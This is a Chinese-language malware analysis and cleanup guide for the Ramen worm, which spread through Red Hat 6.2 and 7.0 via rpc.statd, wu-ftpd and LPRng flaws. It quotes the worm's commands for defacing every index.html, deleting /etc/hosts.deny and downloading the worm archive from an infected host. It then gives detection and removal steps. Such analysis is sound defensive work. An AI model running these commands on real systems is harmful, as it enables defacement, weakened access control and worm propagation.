RAMEN 蠕虫介绍 t0pgun [email protected]
Ramen是一个利用redhat的现有远程漏洞自动传播的蠕虫.此蠕虫由多个攻击性exploit和自动执行脚本组成,专门针对redhat 6.2和redhat 7.0存在的rpc.statd远程溢出,wu-ftpd,lpd格式化字符串漏洞来进行入侵.此蠕虫已经感染了上千台linux系统.如果在此蠕虫中再加上DDoS的插件.那么危害性将很严重
此蠕虫中包含有这些文件 asp: 一个redhat7下面的xinetd配置文件,监听端口27374 asp62: 一个简单的httpd服务守护进程.当链接此服务时,它会提供此蠕虫的压缩包,此蠕虫主要靠此服务传播(for RedHat 6.2) asp7: 一个简单的httpd服务守护进程.当链接此服务时,它会提供此蠕虫的压缩包,此蠕虫主要靠此服务传播(for RedHat 7.0) bd62.sh: 蠕虫的安装程序 for RedHat 6.2 bd7.sh: 蠕虫的安装程序 for RedHat 7.0 getip.sh: 获得主机ip的脚本. hackl.sh: 读取.l文件.并且把地址写入lh.sh hackw.sh: 读取.w文件.并且把地址写入wh.sh index.html: HTML 文本.蠕虫用此文本替换主机的首页 l62: 修改过的LPRng 的格式化字符串攻击程序 for RedHat 6.2 l7: 修改过的LPRng 的格式化字符串攻击程序 for RedHat 7.0 lh.sh: 执行LPRng exploit的脚本 randb62: 随机产生一个B类的ip地址 for RedHat 6.2 randb7: 随机产生一个B类的ip地址 for RedHat 7.0 s62: 修改过的statdx的exploit for RedHat 6.2 s7: 修改过的statdx的exploit for RedHat 7 scan.sh: 从randb程序中取得一个B类的网络地址.然后运行synscan start.sh: 此蠕虫的开始程序 start62.sh: 后台开始运行 scan.sh, hackl.sh, hackw.sh脚本 start7.sh: 和start62.sh同样功能 synscan62: 修改过的synscan for RedHat 6.2 synscan7: 修改过的synscan for RedHat 7 w62: 修改过的wu-ftpd 2.6的expolit for RedHat 6.2 w7: 修改过的wu-ftpd 2.6的expolit for RedHat 7.0 wh.sh: 运行exploit的脚本 wu62: 修改过的wu-ftp 2.6的exploit
它的感染过程是这样的: 入侵者先攻击进入一台redhat6.2或者7.0,上传此蠕虫,运行start.sh脚本,感染第一台redhat. start.sh 首先查找 主机的web主页面,并且用自己的页面替换它 nohup find / -name "index.html" -exec /bin/cp index.html {} \; & 然后删除hosts.deny文件 rm -f /etc/hosts.deny 接着运行getip.sh取这台主机的ip地址 简单判断此系统是redhat6.2还是7.0 安装相应的服务文件,开始工作.Ramen worm扫描随机产生的地址范围,根据取回的ftp banner和端口信息来判断Redhat系统.进行相应的入侵.
当Ramen进入另外一个系统后,会在系统上做如下动作: 首先在/usr/src/ 建立隐藏目录 .poop/ mkdir /usr/src/.poop;cd /usr/src/.poop 接着通过lynx这个文本浏览器来取得已经中了Ramen的机器上的蠕虫文件. lynx -source http://%s:27374 > /usr/src/.poop/ramen.tgz 解开此压缩包,并且复制一份到/tmp目录下 运行start.sh 感染系统.并且发一份mail到[email protected]和[email protected].通知此蠕虫的主人.
如何发现您的系统已经被蠕虫感染? 此蠕虫会消耗大量系统资源来运行syn扫描 通过查看系统进程和当前链接情况可以看出当前正在运行的程序 ps -ef | more netstat -a 如果发现大量的syn半连接和可疑的syn扫描进程.那么立刻停止这些进程.检查系统 首先查看系统服务 : 连接系统的27374 端口.如果得到大量的乱码信息.那么可能被感染 检查 /etc/inetd.conf (redhat6.2);/etc/xinetd.d/ (redhat7) grep -v '#' /etc/inetd.conf | grep asp ls -la /etc/xinetd.d/ | grep asp cat /etc/rc.d/rc.sysinit | grep '/usr/src/.poop' 如果发现此服务,而且此服务以前并不存在.那么有可能被蠕虫感染. 检查 /usr/src/.poop/目录和/tmp目录.看是否存在上述脚本程序 再检查/var/log/secure和/var/log/messages文件.这些文件里可以看出是否被蠕虫攻击过.并且可以记录下攻击的来源. 你还可以检查/var/log/maillog 看是否有发往 [email protected]和[email protected] 的mail
如何杀掉此蠕虫? 首先把系统与网络断开 编辑 /etc/rc.d/rc.sysinit 文件,删除/usr/src/.poop/start*.sh 这一行 编辑 /etc/inetd.conf 删除asp stream tcp nowait root /sbin/asp (6.2) /etc/xinetd.d/ 删除asp (7.0) 删除 /sbin/asp 文件 此时此蠕虫的启动部分已经删除
删除/usr/src/.poop/目录和/tmp下的ramen.tgz文件
由于此蠕虫删除了/usr/sbin/rpc.rstatd,/sbin/rpc.statd和/usr/sbin/lpd程序.并且禁止了ftp的匿名登陆 如果需要的话.你应该回复这些文件. 重新启动系统.看一下进程和服务,是否已经正常.如果正常那么就开始安装系统补丁.

|